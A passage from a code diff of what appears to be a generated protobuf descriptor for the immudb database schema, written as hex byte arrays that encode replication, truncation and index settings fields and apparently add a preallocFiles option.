0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, - 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, - 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, - 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, - 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, - 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, - 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, - 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, - 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, - 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, - 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, - 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, - 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, - 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, - 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, - 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, - 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, - 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, - 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, - 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, - 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, - 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, - 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, + 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, - 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, - 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, - 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, + 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, + 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, + 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, - 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, - 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, - 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, - 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, - 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, - 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, + 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, - 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, + 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, - 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 